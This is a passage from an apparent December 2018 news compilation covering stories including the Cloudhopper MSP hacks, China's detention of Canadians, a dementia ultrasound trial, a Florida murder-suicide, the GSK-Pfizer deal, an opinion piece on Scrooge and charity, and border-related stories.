months, according to another of the sources with knowledge of the matter. IBM investigated an attack as recently as this summer, and HPE conducted a large breach investigation in early 2017, the source said. The attackers were persistent, making it difficult to ensure that networks were safe, said another source. IBM has dealt with some infections by installing new hard drives and fresh operating systems on infected computers, said the person familiar with the effort. Cloudhopper attacks date back to at least 2014, according the indictment. The indictment cited one case in which Cloudhopper compromised data of an MSP in New York state and clients in 12 countries including Brazil, Germany, India, Japan, the United Arab Emirates, Britain and the United States. They were from industries including finance, electronics, medical equipment, biotechnology, automotive, mining, and oil and gas exploration. One senior intelligence official, who declined to name any victims who were breached, said attacks on MSPs were a significant threat because they essentially turned technology companies into launchpads for hacks on clients. By gaining access to an MSP, you can in many cases gain access to any one of their customers, said the official. Call it the Walmart approach: If I needed to get 30 different items for my shopping list, I could go to 15 different stores or I could go to the one that has everything. Representatives with the FBI and Department of Homeland Security declined to comment. Officials with the U.S. Justice Department and the Chinese embassy in Washington could not be reached. A British government spokeswoman declined to comment on the identities of companies affected by the Cloudhopper campaign or the impact of those breaches. A number of MSPs have been affected, and naming them would have potential commercial consequences for them, putting them at an unfair disadvantage to their competitors, she said. Chinese police patrol in front of the Canadian embassy in Beijing on Dec. 14, 2018. (Greg Baker/AFP/Getty Images) China Detains Third Canadian Citizen for Working Illegally BEIJINGChinas foreign ministry said on Dec. 20 that a Canadian woman is undergoing administrative punishment for working illegally, after Canadas government said a third Canadian had been detained in China. Chinese state security agents last week detained two Canadians, former diplomat Michael Kovrig and businessman Michael Spavor, saying they were suspected of endangering state security. The detentions of the Canadians followed the Dec. 1 arrest in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei Technologies Co Ltd., at the request U.S. authorities. Chinese Foreign Ministry spokeswoman Hua Chunying identified the third Canadian as Sarah McIver, who was serving administrative punishment due to illegal employment. She did not elaborate. What I can tell you is that China and Canada are maintaining clear consular communication, Hua told a daily news briefing. When asked if McIvers case was connected to that of Kovrig and Spavor, Hua pointed out that the nature of the cases were different, given the other two were accused of endangering national security. Hua referred further questions on McIver to the Ministry of Public Security. That ministry did not immediately respond to requests for further comment. The Canadian government has not identified the third Canadian, though Canadian media has said the person is McIver and said she was an English teacher being held because of visa complications. Canadian Prime Minister Justin Trudeau urged caution on Wednesday and said he would not be stomping on a table after China detained the third Canadian. Trudeau said he was asking China for more information on the detentions. He said the latest incident was a very separate case from the other two. The Canadian government has said several times it saw no explicit link between the arrest of Meng, the daughter of Huaweis founder, and the detentions of Kovrig and Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a tit-for-tat reprisal by China. China has demanded Mengs immediate release and summoned in the Canadian and U.S. ambassadors to complain about the case. Meng is accused by the United States of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating U.S. sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the United States. She is due in court on Feb. 6. A Chinese People's Armed policeman stands guard in front of a Christmas tree outside a diplomatic compound in Beijing 21, China on Dec. 2000. (Goh Chai Hin/AFP/Getty Images) Chinese City Cuts Down Christmas Theres only one red allowed in this city, and its not the one on Santas suit. Langfang City, located near Beijing, banned all public sales and displays of all things related to Christmas on Dec. 15. City law enforcement officials were ordered to crack down on street-side Christmas trees, Santa Clauses and anything related to Christmas, said the memo. Completely control the use of park-squares and other public spaces against promoting religious propaganda activities. Communism, being officially atheist, has long been at odds with anything related to faith or religion, and Christmas has long since been a target. Other far-left political groups, including the Communist Party of the Soviet Union (CPSU), and even the Nazi Party, suppressed Christmas related activities. The Chinese Communist Party (CCP) has intensified its suppression and persecution of Western religions in recent months. China is drawing worldwide condemnation for both persecution of Uyghurs in Xinjiang and the arrest of Christian church-goers. The nearly 20 years of ongoing persecution against Falun Gong, a spiritual meditation practice, has set precedent for the CCPs recently expanding suppression of people of faith. Not only the display of Christmas related items was prohibited, but also the sale. Completely clear out sales of Santa Claus, Christmas trees, Christmas-Eve Apples and all other Christmas related merchants, said the memo. Especially on December 23, 24, and Christmas day, every law enforcement official must do his job, says the memo, as it goes on to list all the major public places to search. Strictly control any kind of propaganda and sales activity, clear out and crackdown on street merchants. Street vending, which is common in many Chinese cities, is often a target of law enforcement officials. Suppression of Christmas and merchants may be the toeing of the Communist Party line by local officials, lining up with other recent crackdowns on other peoples of faith. If discovered, monitor [it] closely and report upward, said the memo. Communism Opposes Tradition Communism historically has suppressed religion. In Soviet Russia, the League of Militant Atheists created holidays to oppose religious observances, and even the cutting of Christmas trees was banned. Similarly in China, many new holidays have been created, and many traditional holidays have lost much of their meaning since the Cultural Revolution. The CCP even changed significant Chinese holidays. The most significant holiday, Chinese New Year, is now called Spring Festival inside mainland China. Many holidays now are just a time for families to share a meal together, with no other festive forms. This may be a cause of younger generations gaining interest in foreign holidays. Though the majority of the population does not religiously observe Christmas, there is still a general feeling of interest in the general population toward the West and its holidays. Christmas in China has becoming increasingly popular in recent years, especially with younger generations. A modern tradition is to give an apple to a dear friend or loved one on Christmas Eve, since the two words for apple and Christmas Eve have similar character and pronunciations in Chinese. However, in Langfang, this will no longer be the case. Dementia Reversed in Mice, Human Trials Set to Start After $10 Million Grant Treatment for dementia is in sight after the Australian federal government announced $10 million funding for a study that has been able to fully reverse dementia in mice, with clinical trials on humans set to begin late 2019. The pioneering technique was developed in 2015 at the Queensland Brain Institute (QBI), said a research body at the University of Queensland (UQ). Researchers used a noninvasive technique that employs scanning ultrasound to clear out toxic buildups in the brain that are the hallmark of Alzheimers disease, a common form of dementia. Professor Jurgen Gotz said the results were completely unexpected. Cognition was restored. So the mice were perfectly fine afterward, which was a surprise to us, but obviously was extremely encouraging, he told the Australian Broadcasting Network. There is currently no cure for dementia, a degenerative condition. Gotz noted that the degenerative condition reaches a point of no return at a certain stage, and so the earlier the intervention, the greater the chance of being able to reverse dementia. Ideally we would treat a patient at the pre-symptomatic stage and thats obviously where more funding is required to be able to achieve that, Gotz told the ABC. Inevitably there is a point of no return. So we want to treat as early as possible before all the damage has occurred, he added. Human Clinical Trials Set to Start Some tests in a small number of sheep suggest that the scanning ultrasound technique is safe to use in larger brains. With the recent funding, UQ researchers hope to start human trials in late next year to check whether the treatment is safe for human use. The trial will enlist up to 10 people with early-onset dementia. Once the technology has been deemed safe, phase two of the trial is designed to determine whether ultrasound is an effective treatment for dementia, the UQ website states. The goal, long-term, is to come up with an affordable, portable device, which would help the millions of Alzheimers patients in our country and worldwide, Gotz told the ABC. The government grant, alongside philanthropic donations, have brought the research institute closer to its $30 million goal. Professor Pankaj Sah, the director at the University of Queenslands Brain Institute said the funding helps to fast-track scientists understanding of how scanning ultrasound can be used to more effectively treat dementia. The technology temporarily opens the blood-brain-barrier to remove toxic plaques from the brain and has successfully reversed Alzheimers symptoms and restored memory function in animal models, Sah said, according to a UQ release. The human safety trials late next year are the next step, representing an investment in research that is already underway. Funding is essential if we are to continue to move closer to producing a non-invasive treatment for dementia. The funding will support the team of 90 researchers at QBIs Clem Jones Centre for Ageing Dementia Research (CJCADR) over the next five years. As an indication, the average timeframe from the point of discovery to a treatment being available is 15 years. The initial ultrasound discovery was made in 2015, the QBI website said. Without a medical breakthrough, the number of Australians living with dementia is expected to increase to 1.1 million by 2056, the ABC reported. Dementia is estimated to affect about 50 million people worldwide, 400,000 of whom are in Australia. Those who may be interested in joining the trials can find out more information about whether they are eligible at www.anzctr.org.au, once the eligibility criteria are made available. From NTD News Deputy Kills Wife, Daughter, Granddaughter, Before Turning Gun on Self at High School: Reports A Florida sheriffs deputy shot and killed his wife, granddaughter, and daughter before turning the gun on himself on Dec. 19, according to reports. Sheriffs officials said he radioed dispatchers to say hed shot his family before killing himself in front of a high school. The shooting took place before students showed up for classes in Plant City, located near Tampa. Hillsborough County Sheriff Chad Chronister identified the deputy as Terry Strawn, 59, who was named Officer of the Year in 2009, according to WESH-TV. Throughout the ordeal, dispatchers tried everything they could to try and convince him that suicide was not the answer, the sheriff said. People 20181219 There was no indication, no behavior issues, Chronister said of Strawn. Nothing that would lead any employee to believe this employee was struggling. In front of the high school, three deputies attempted to talk him out of shooting himself before he shot himself, reported the Tampa Bay Times. He indicated he was losing everything, said Chronister. Im saddened. But Im also disheartened that a sheriffs deputy would ever cause harm to another individual. The victims were identified as his wife, Theresa Strawn, 32-year-old daughter Courtney, and his 6-year-old granddaughter Londyn, who was the daughter of Courtney Strawn. Sheriffs officials said Strawn began speaking over the sheriffs radio frequency, saying he had emergency traffic before stating that he had killed three of his family members, the Times reported. He then gave the directions to where they could be found. Strawn then said he was planning to shoot himself at Plant City High. At one point he said he had to go, he wanted to be with his family, Chronister said when deputies pleaded with him. Earlier today, a Florida deputy Terry Strawn shot & his killed his wife, daughter, & granddaughter, alerted fellow deputies over radio, and then killed himself. The deputy retired two years ago but was hired back for security at a local school following Parkland shooting. pic.twitter.com/OPb95iTp6R THE CONNET (@THEAlleyeceeing) December 19, 2018 Strawn also spoke about financial and health problems, the sheriff said, adding that no financial concerns surfaced during a pre-employment background check when he came back to the force in 2018, the paper reported. During his radio transmission, he talked about how much he loved the Sheriffs Office, Chronister said. Throughout the entire dialogue on the radio, the dispatchers did a wonderful job of trying to convince him that suicide is not the answer, Chronister added, according to WESH. The report said he used his service revolver in the shootings. In 2009, he was named Officer of the Year by the office. Deputy Strawn is persistent, leaving no stone unturned in his pursuit of the lawbreakers, then-Sheriff David Gee stated, according to the Times. Recently he arrested a fugitive and an armed robbery suspect after a traffic stop. His high rate of success in the location and capture of numerous suspects has earned him this years top honor in east Hillsborough County. Several months ago, a Hillsborough County Sheriffs deputy shot and killed his wilfe and then himself while their four kids were at home. We have to change the culture, Chronister said to the Washington Post. We have to make sure everyone knows its OK to ask for help. Its not a sign of weakness to say: Hey, Im having a difficult time. Im having a hard time. I need some help. Suicide Hotlines In the United States, you can call the National Suicide Prevention Lifeline on 1-800-273-8255. Young people can call the Kids Help Phone on 1-800-668-6868. In Canada, the line is 1-833-456-4566. In Australia, the crisis support service hotline is 13 11 14 (Lifeline). Other worldwide suicide hotlines can be found at www.befrienders.org. Michelle Martinko, 18, was found stabbed to death in the parking lot of Westdale Mall in Cedar Rapids, Iowa on Dec. 20, 1979. (Cedar Rapids Police Department) DNA Evidence Leads Iowa Police to Suspect in 1979 Murder of 18-Year-Old Woman DNA evidence led police officers in Iowa to a suspect in a 1979 murder of an 18-year-old woman. Michelle Martinko was found stabbed to death in the parking lot of Westdale Mall just after 4 a.m. on Dec. 20 of that year. She had been shopping at the mall for a winter coat and was reported missing around 2 a.m. The Cedar Rapids Police Department said this week that officers arrested Jerry Lynn Burns, 64, for the murder of Martinko. Blood was found on clothing worn by Martinko that did not belong to her and was used to develop a male DNA profile; another partial male DNA profile was developed from blood found on the gear shift knob of the Buick that Martinko was driving. The DNA evidence was developed in 2006 in the case and was uploaded to a national database that searches through DNA profiles that are uploaded from crime scenes. With no match through the database, investigators turned to a company, Parabon NanoLabs, that predicts physical appearance and ancestry from DNA evidence. They produced trait portraits for the associated person of interest. Predictions were made for ancestry, eye color, hair color, skin color, freckling, and face shape, the police stated. The profile was released in May 2017 and Burns was eventually identified as a suspect. Officers covertly obtained DNA from Burns and found it matched the DNA from the clothing and gear shift. Burns was questioned and denied killing Martinko but couldnt say why his DNA was found at the crime scene. Last year, I had the opportunity to spend some time with Michelle Martinkos sister, Janelle, along with her husband, John Stonebraker. They were so grateful to the Police Department for continuing to work on this case. The family never gave up hope that this case would be solved, said Wayne Jerman, chief of police in Cedar Rapids, in a statement. Todays announcement makes it clear that this Police Department and our investigators never gave up on this case either. I am very appreciative of the work of our investigators and their persistence with this case, including the use of the latest technology that can aid in the investigation regardless of how long ago the violent act occurred. Elizabeth Laymon, who was high school friends with Martinko, said that classmates cried when they learned of their friends death. She told the Des Moines Register she was relieved that the suspect was identified and arrested. I am thrilled for her sister, Janelle, and wish her parents were alive to see this, Laymon said. I am happy Michelle finally gets justice. Both of Martinkos parents died in the 1990s. One of the areas that continues to tug at my heart, Jerman said Wednesday during a press conference, was (Janelle) expressed how sad their parents passed away without knowing who killed their daughter, Michelle. Burns was scheduled to appear in court for the first time on Dec. 20. From NTD News Signage for GlaxoSmithKline is seen on its offices in London, Britain, March 30, 2016. (Reuters/Toby Melville/File Photo) Drugmaker GSK to Split After Striking Pfizer Consumer Health Deal LONDONGlaxoSmithKline plans to split into two businessesone for prescription drugs and vaccines, the other for over-the-counter productsafter forming a new joint venture with Pfizers consumer health division. The revamp is the boldest move yet by GSK Chief Executive Emma Walmsley, who took over last year. It will lead to the creation of a consumer health giant with a market share of 7.3 percent, well ahead of its nearest rivals Johnson & Johnson, Bayer, and Sanofi, all on around 4 percent. Walmsley has previously played down the idea of breaking up the group, something that a number of investors have called for over the years. On Dec. 19, however, she announced that GSK and Pfizer would combine their consumer health businesses in a joint venture with sales of 9.8 billion pounds ($12.7 billion), 68 percent-owned by the British company, in an all-equity transaction. GSK said the deal laid the foundation for the creation of two new UK-based global companies focused on pharma/vaccines and consumer healthcare within three years of the transaction closing. For Pfizer, the deal resolves the issue of what to do with its consumer health division, which includes Advil painkillers and Centrum vitamins, after an abortive attempt to sell it outright earlier this year. GSK, whose consumer products include Sensodyne toothpaste and Panadol painkillers, had withdrawn from that earlier Pfizer auction process but Walmsley said the opportunity to strike an all-equity deal cleared the way for the new agreement. Its something weve been able to do quickly and quietly, she told reporters in a conference call. What this deal is all about is the opportunity to strengthen two businessesa world-leading consumer healthcare business and a new GSK that is focused on pharma and vaccines. Crystallizing Value Shareholders welcomed the news and the shares jumped 7 percent, with Jefferies analysts saying the future separation could crystallize value. The new joint venture with Pfizer is expected to generate total annual cost savings of 500 million pounds by 2022 for expected total cash costs of 900 million and non-cash charges of 300 million. GSK plans divestments of some 1 billion pounds. Walmsley said there would be an inevitable impact on jobs but there was also an opportunity for cost savings in procurement and across the supply chain. The Pfizer deal is expected to boost adjusted earnings and free cashflow in the first full year after closing, which GSK anticipates will occur in the second half of 2019. Pfizer, which already has a long-standing HIV medicines joint venture with GSK, said the transaction would be slightly accretive in each of the first three years after it closed. The consumer tie-up follows a deal by GSK earlier this year to buy Novartiss stake in their consumer joint venture for $13 billion and comes as Walmsley tries to reshape Britains biggest drugmaker, which has seen its shares move sideways for years. Earlier this month, she agreed to buy cancer drug specialist Tesaro for $5.1 billion to try to revitalize its pharmaceuticals business, a high-priced acquisition that was poorly received by the market. GSK has lagged rivals in recent years in producing multibillion-dollar blockbusters and it largely sat out a spate of dealmaking by rivals under previous CEO Andrew Witty. Seeking to reassure investors of its financial strength, GSK extended its guarantee on the dividend by stating it expected to pay unchanged dividends of 80 pence per share for 2019. GSK was advised by Citi, J.P. Morgan Cazenove, and Greenhill, while Centerview, Guggenheim and Morgan Stanley acted for Pfizer. By Ben Hirschler Ebenezer Scrooge from Radio City Entertainment's "A Christmas Carol" creates and enjoys the "Scrooge Sandwich" at the Stage Door Deli in New York City. (Scott Gries/ImageDirect) Ebenezer Scrooge on Charity Commentary Charles Dickens and his unforgettable character Ebenezer Scrooge have become part of Christmas for millions and for generations through A Christmas Carol, a novella that was written in a few weeks. This ghost story defined Christmas as a time of giving, not only in the directly religious sense, but also as the celebration of the union of God and man in his gift of himself. His tale was an especially powerful reminder of our duty to give in order to help the poor and needy, the widow and orphan, the homeless and hungry. That kind of charitable work had been a duty of all Christians, individually and for the Church as a body, from the beginning. Dire consequences awaited those who refused it (think of the parable of the goats and the sheep in the Last Judgment, and of Lazarus and the poor man at his gate). Dickens takes up this warning through the story of Scrooge, a miserly businessman whose partner, Jacob Marley, has already died and appears to him as a ghost in chains. One of the most memorable passages in Dickenss parable comes at the beginning, when two gentlemen come to Scrooges office to ask him to contribute to their charitable cause: At this festive season of the year, Mr. Scrooge, said one of the gentlemen, taking up a pen, it is more than usually desirable that we should make some slight provision for the Poor and destitute, who suffer greatly at the present time. Many thousands are in want of common necessaries; hundreds of thousands are in want of common comforts, sir. Are there no prisons? asked Scrooge. Plenty of prisons, said the gentleman, laying down the pen again. And the Union workhouses? demanded Scrooge. Are they still in operation? They are. Still, returned the gentleman, I wish I could say they were not. The Treadmill and the Poor Law are in full vigor, then? said Scrooge. Both very busy, sir. Oh! I was afraid, from what you said at first, that something had occurred to stop them in their useful course, said Scrooge. Im very glad to hear it. Under the impression that they scarcely furnish Christian cheer of mind or body to the multitude, returned the gentleman, a few of us are endeavoring to raise a fund to buy the Poor some meat and drink, and means of warmth. We choose this time, because it is a time, of all others, when Want is keenly felt, and Abundance rejoices. What shall I put you down for? Nothing! Scrooge replied. You wish to be anonymous? I wish to be left alone, said Scrooge. Since you ask me what I wish, gentlemen, that is my answer. I dont make merry myself at Christmas and I cant afford to make idle people merry. I help to support the establishments I have mentionedthey cost enough, and those who are badly off must go there. Many cant go there, and many would rather die. If they would rather die, said Scrooge, they had better do it, and decrease the surplus population. Besidesexcuse meI dont know that. But you might know it, observed the gentleman. Its not my business, Scrooge returned. Its enough for a man to understand his own business, and not to interfere with other peoples. Mine occupies me constantly. Good afternoon, gentlemen!' That famous passage is taken, and meant, as an indictment of the laissez-faire economic liberalism of the day, in which the human being is reduced to an economic agent, concerned with his own business with none of the social ties that bind people to families and communities in bonds of mutual loyalty and love. The common good will take care of itself if individuals are left alone to pursue their own interests. Civil society, the vast social space between the person and the state, disappears in this vision of society, but not the state. Scrooge pays taxes to support the institutions mentioned: the prisons and workhouses through which the state takes care of those who are dependent upon it. He is the personification of heartlessness in the face of misery and want. And yet, Scrooge is quite pleased with himself for the way he dispatches the two gentlemen: Scrooge resumed his labors with an improved opinion of himself, and in a more facetious temper than was usual with him. Before we dismiss Scrooges behavior as characterizing 19th-century liberalism and individualism, we should pause to consider the ways in which Scrooges arguments fit modern state-centered liberalism or socialism. Modern Parallels The modern liberal is, or at least sounds, more compassionate, and could hardly sound less so than Scrooge at this stage of his spiritual journey. But the compassion of liberals translates not into giving of their own time, treasure, or talent to help the poor and downtrodden, but in support for more government programs and higher taxes to finance them. Governments do not love, however, and it is easy to be generous with other peoples money. (As Margaret Thatcher famously observed, The trouble with socialism is that, eventually, you run out of other peoples money.) Support for higher taxes, however, is not a mark of good character, of the virtue of liberality. It confuses what we now call virtue signaling (which perhaps should be called signaling the vice of others, of those who dont support the government program or raising taxes to pay for it). It too easily assumes that the good intentions on which the program is based will translate into effective action to help those who need help, rather than in unintended consequences, such as increased dependency and demoralization. As social scientist Arthur C. Brooks put it, This is a moral framework built not around altruism, but sanctimoniousness. Actual altruism, as Brooks and others have shownthe giving by those who care of their own time, treasure, and talentis evident at much higher levels among the religiously observant and conservative (two overlapping groups). The least generous, by any measure of personal giving, are secular liberals. Conservatives, though, even when they sound hard-headed and tight-fisted may, by every measure, be much more caring and giving. A famous example is Mitt Romney, who was secretly captured on video at a private fundraiser saying that 47 percent of people wouldnt vote for him no matter what, because they are dependent on government and see themselves as victims. The fact that he was known as a man of faith, fidelity, personal kindness, and generosity, as well as business acumen, did little to undo the damage to his electoral chances in the 2012 presidential election. Like Scrooge, on the other hand, modern liberals believe it is the states job to help those in need and, like him, they are the least supportive of private charity. Like Scrooge, they discount the importance of those associations of all shapes and sizes, through which people express their love and caring for others. As Archbishop Charles Chaput of Philadelphia put it: Government cannot love. It has no soul and no heart. The greatest danger of the secularist state is this: In the name of humanity, under the banner of serving human needs and easing human suffering, it ultimately, ironicallyand too often tragicallylacks humanity. Paul Adams is a professor emeritus of social work at the University of Hawaii and was a professor and associate dean of academic affairs at Case Western Reserve University. He is the co-author of Social Justice Isnt What You Think It Is and has written extensively on social-welfare policy and professional and virtue ethics. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Explosions Rock Yemens Main Port for Second Day After Truce ADENExplosions rocked Yemens Red Sea city of Hodeidah for a second day on Dec. 19 despite a U.N.-mediated ceasefire meant to pave the way for peace negotiations to end nearly four years of war. The United Nations brokered the truce deal as part of confidence-building measures at peace talks last week in Sweden to avert a full-scale assault on the port that is vital for urgent aid supplies for millions facing starvation. A source in the Saudi-led coalition arrayed against the Houthis told Reuters that if international monitors were not deployed in Hodeidah soon, the deal could falter. If the U.N. takes too long to get into (the) theater, they will lose the opportunity altogether and the Stockholm agreement will be a dead duck, said the coalition source, who declined to be named. A U.N.-chaired committee formed to oversee the truce and troop withdrawal from Hodeidah city and three ports held its first meeting on Dec. 19 using video link and phone with representatives from both sides. Retired Dutch General Patrick Cammaert, chair of the Redeployment Coordination Committee, will travel to Jordan on Dec. 20, then on to Sanaa and Hodeidah, with a small initial advance team, U.N. spokesman Stephane Dujarric said. The ceasefire deal, which covers only Hodeidah, will see international monitors deployed in the city and port with all armed forces pulling out within 21 days of the truce. The two sides had also agreed on a prisoner swap. A Red Cross official said in Geneva on Dec. 19 they had exchanged lists of a total of 16,000 people believed to be detained. Hodeidah a Lifeline Hodeidah, the main port used to feed Yemens 30 million people, has been the focus of fighting this year, raising fears abroad that a full-scale assault could cut off supplies to nearly 16 million people suffering from severe hunger. The truce, the first significant breakthrough in peace efforts in five years, is meant to pave the way for a wider ceasefire in the impoverished country and a second round of talks in January on a framework for political negotiations. A Sunni Muslim Arab alliance led by Saudi Arabia and the United Arab Emirates entered the war in 2015 against the Houthis to restore the internationally recognized government of Abd-Rabbu Mansour Hadi, which was ousted from the capital Sanaa. Western nations, which supply arms and intelligence to the alliance, are calling for an end to the conflict, which has killed tens of thousands of people. The Security Council is considering a resolution to ask the U.N. chief to submit proposals by the end of the month on how to monitor the truce and forces redeployment. The Houthis control most urban centers, including Sanaa, while Hadis government is based in the southern port of Aden. Yemen descended into war after pro-democracy unrest forced late former president Ali Abdullah Saleh to step down. Hadi was elected to a two-year term to head a transitional government but the Houthis drove him into exile. By Mohammed Ghobari A GoFundMe page titled, We The People Will Fund The Wall, has raised about $7 million out of $1 billion as of Dec. 20. (GoFundMe) GoFundMe for Trumps Border Wall Hits $7 Million and Is Rising A GoFundMe page titled, We The People Will Fund The Wall, has raised more than $7 million out of $1 billion as of Dec. 20. In less than an hour late on Thursday, donors contributed more than $500,000. The page was set up by Brian Kolfage, a triple-amputee Air Force veteran who received the Purple Heart. As a veteran who has given so much, 3 limbs, I feel deeply invested to this nation to ensure future generations have everything we have today. Too many Americans have been murdered by illegal aliens and too many illegals are taking advantage of the United States taxpayers with no means of ever contributing to our society, his page reads. He noted that the U.S. government has accepted large private donations in the past, citing billionaire David Rubensteins $7.5 million contribution to repair cracks in the Washington Monument in 2012 following an earthquake. By the morning of Dec. 20, the GoFundMe hit $4 million, and by the late afternoon, it was $7 million. More than 120,000 people have contributed to the fund so far. On Dec. 19, more than $2 million was donated by 34,000 people, according to Fox News. If the 63 million people who voted for Trump each pledge $80, we can build the wall, Kolfage said on the page. He added that it equates to about $5 billion and said that even if we get half, thats half the wall. He added, We can do this. One-hundred percent of the donations, he said will go to the Trump Wall, he is working with a law firm on a legal document that will bind the government to [use] the funds for the border wall itself, nothing else. And, If we dont reach our goal or come significantly close we will refund every single penny. We are working on a time frame to achieve, the former U.S. Airman said. More Details Kolfage said he wanted to let donors or potential donors know that it isnt a scam. Im using my real name, my real information, you can contact me and hold me accountable. People who try to scam you will not be upfront with their information, they will hide and not use their name. I have a public figure Facebook page with a blue check mark, his page said. Im a retired United States Air Force member who was wounded in Iraq, and lost 3 limbs. I have a website BrianKolfage.com where you can verify more about me. I will respond. Ive been on Fox News many times, you can see Im credible and a real person, he added. GoFundMe is paying attention to the campaign, it confirmed. The funds are safely held by our payment processor and we will work with the organizer to transfer funds to an appropriate recipient or refund all donors, as stated in the campaign story, a GoFundMe spokesperson told People magazine on Dec. 20. Valery Spiridonov at a press conference on 'Autopilot system for wheelchairs' on Aug. 3, 2016, in Moscow. Spiridonov was scheduled to be the first head transplant recipient, but his plans have changed. (Yuri Kadobnov/AFP/Getty Images) Head Transplant Candidate Alive and Doing WellWithout Surgery The man who volunteered to be the first to have his entire head transplanted to a new body never got the surgerybut he has a new and improved life nonetheless. Valery Spiridonov has suffered all his life from Werdnig-Hoffmann disease, which causes his muscles to atrophy. He cannot stand up, let alone walk. He has spent most of his life trapped in a wheelchair. Spiridonov, now 33, heard about the groundbreaking research of Italian neurosurgeon Dr. Sergio Canavero in 2015. Canavero published a paper in 2013 describing the procedure for a complete head transplantattaching a healthy head to a donor body. He published his updated plans in June 2015, and Spiridonov immediately volunteered. I can hardly control my body now, Spiridonov told Medical News Today in 2015. I need help every day, every minute. I am now 30 years old, although people rarely live to more than 20 with this disease. In his 2015 paper, Canavero estimated that it would take a team of 100 surgeons 36 hours to complete the operation. Most of the medical community was skeptical. Even Canavero had to admit that while reconnecting the veins and arteries would be easythough complicatedconnecting the two spinal cords (spinal cord fusion, or SCF) would be exceedingly difficult. In the 2015 paper, Canavero said, The key to SCF is a sharp severance of the cords themselves, with its attendant minimal damage to both the axons in the white matter and the neurons in the gray laminae. This is a key point. Spiridonov learned that the earliest possible date for the surgery would be two years off, at least. However, Canavero told Newsweek that he was confident that there would be a 90 percent chance of success. Head Transplant Research Moves to China In fact, the possibility of success was soon revealed to be zero. Almost exactly two years after Canavero published his second paper, Spiridonov admitted publicly that the surgery was not going to happen, the Daily Mail reported. In June 2017, Spiridonov said that Canavero had decided to perform the surgery in China instead. It is possible the doctor changed his plans to take advantage of Chinas looser medical ethics laws and to avoid legal complications if the surgery failed. WACTH ME LIVE ON FACEBOOK: FRIDAY, NOVEMBER 17, 10.30 a.m. CET (on this account). At my International Press Conference Prof. Sergio Canavero, MD 20171116 In November 2017, Canavero announced that he had successfully transplanted the head of one cadaver to another. Working with a team led by Dr. Xiaoping Ren of Harbin Medical University, China, Canavero grafted the head of one corpse onto the body of anothera procedure that took 18 hours, according to the Telegraph. Canavero and Xiaoping had previously teamed up to transplant the head of one monkey to another, the Telegraph reported. The monkey never regained consciousness and if it had, would have been paralyzedthe surgeons did not attempt to fuse the two spinal cords. The next step will be a head swap between two brain-dead organ donors, Canavero told the Sun. After that, he would begin working with a Chinese donor with a disease or disability such as Spiridonov had. With Canavero committed to working with the Chinese teamand receiving funding from Chinese sources, the Sun reportedValery Spiridonovs opportunity for a new body has passed. Despite losing his chance at a healthy body, the Russian-born computer scientist is undismayed. I feel a weight lifted off my chest, Spiridonov told the Daily Mail. I never had a vain motive to become the first (head transplant). I gave two years of my life to this project. I will be glad to see it happening (with someone else). Living a Good Life Despite His Disease Valery Spridinonov did not spend those two years daily. While waiting on word from Canavero, the computer wizard designed a smart wheelchair, which responds to voice commandsperfect for his needs. Spiridinov moved the Florida where he enrolled in the University of Florida to study computer analysis of emotions, the Sun reported. He supports himself with consulting jobs. The most important changes in his life are not technical nor medicalthey are romantic. Spridonov got married to fellow scholar Anastasia Panfilova at a ceremony in Moscow about a year ago. She moved to the United States to be with him and recently gave birth to the couples first childa son. We lived in the same city, and often met in professional settings, and soon realized that we felt really good together, Spiridonov explained to the Daily Mail. She has several degrees. We got married a little over one year ago in Moscow. Werdnig-Hoffmann disease can be passed down to offspring. Soon after they realized Panfilova was pregnant, the couple got her testedand the results showed that the child did not inherit the damaged gene that causes the disease. Spiridonov considers that a miracle. The brave new father does not regret not getting a healthy body. I am deeply grateful to Canavero, Spiridonov told the Sun. Thanks to our joint efforts, a lot is changing for the better, and for me too. From NTD News Heros Daughter Risks Everything to Run for Parliament in Afghanistan The content is not available due to expiration. Honduran Woman Pulling Children Away From Tear Gas Has Crossed the Border The viral photo showing a Honduran woman pulling two children away from tear gas has become a topic of interest again. Maria Meza, the woman in the photo, as well as her five children crossed the border at Otay Mesa, California, on Dec. 17. Representative Jimmy Gomez on Twitter confirmed that Maria Meza and her children have applied for asylum. After 7hrs, I can now confirm: Maria Meza & her kidsfeatured in this @Reuters image fleeing tear gas at the border last monthjust filed for asylum. Theyre on American soil, wrote Gomez. After 7hrs, I can now confirm: Maria Meza & her kids featured in this @Reuters image fleeing tear gas at the border last month just filed for asylum. Theyre on American soil.@RepBarragan & I are still here observing conditions on the ground. #RefugeesWelcome @fams2gether pic.twitter.com/t8cEDRtGIQ Rep. Jimmy Gomez (@RepJimmyGomez) December 18, 2018 According to The New York Times, the future is still far from set for Meza and her children. Before they can be granted asylum status, they need to attend an interview which assess if their basis for asylum is eligible. While Mezas case is processed, Meza would either wait in a detention center, or be released on bond while wearing an ankle monitor. It could be a years-long process, thats what its most likely to be, said Kara Lynum, an immigration lawyer, to The New York Times. She has an attorney waiting for her but its hard to say what happens next. If her asylum status is granted, Meza said that she would travel to Louisiana to unite with the girls father, according to Reuters. America First or Migrants First After Gomez published his post, many Twitter users replied with heated comments. Some said it wasnt fair to only highlight one migrant case, while others said that America is not ready to take in the migrants. Ridiculous. How about the ones that filed the right way and have been waiting for months & years for processing? Why are you helping to break the very laws you were sworn to uphold? questioned Twitter user AmericanKat Nationalist. Right! Now, take the locks off your doors and You, yes You support 20 Families with 10 Children each, with feeding, clothing, their education, medical and college for 20 years!!! Congratulations, wrote Deborah Edwards on Twitter. Watch: Migrant Mother Says She Was Pressured to Join Border Rush Background Meza is one of the many people who traveled from Central America to Mexico as part of the migrant caravan. They were led to believe they would be welcomed to enter the United States only to be disappointed by the reality after they arrived at the border. Many migrants have waited for weeks, even months to present their case, and many have since given up waiting. Some crossed the border illegally, some returned home, and some decided to settle in Mexico, at least temporarily. There is speculation that the caravan migrants have been exploited in a political agenda. The living condition of the migrants waiting in the shelters was reported as appalling, and the border authorities were pushed to limits by the flows of migrants and the criminals hiding among them. On the day when the photo was taken, U.S. border agents were attacked with rocks, glass bottles, and debris, and were forced to respond, according to Hector Garza, a border agent and president of the National Border Patrol Council. While the photo shows a mother and her children, more than three quarters of the migrants are working-aged men. At least 600 convicted criminals have been identified traveling in the caravan with the migrants, reported The Epoch Times. Kirstjen Nielsen, secretary of the Department of Homeland Security, said in a statement that the medias focus on a minority of women and children in the 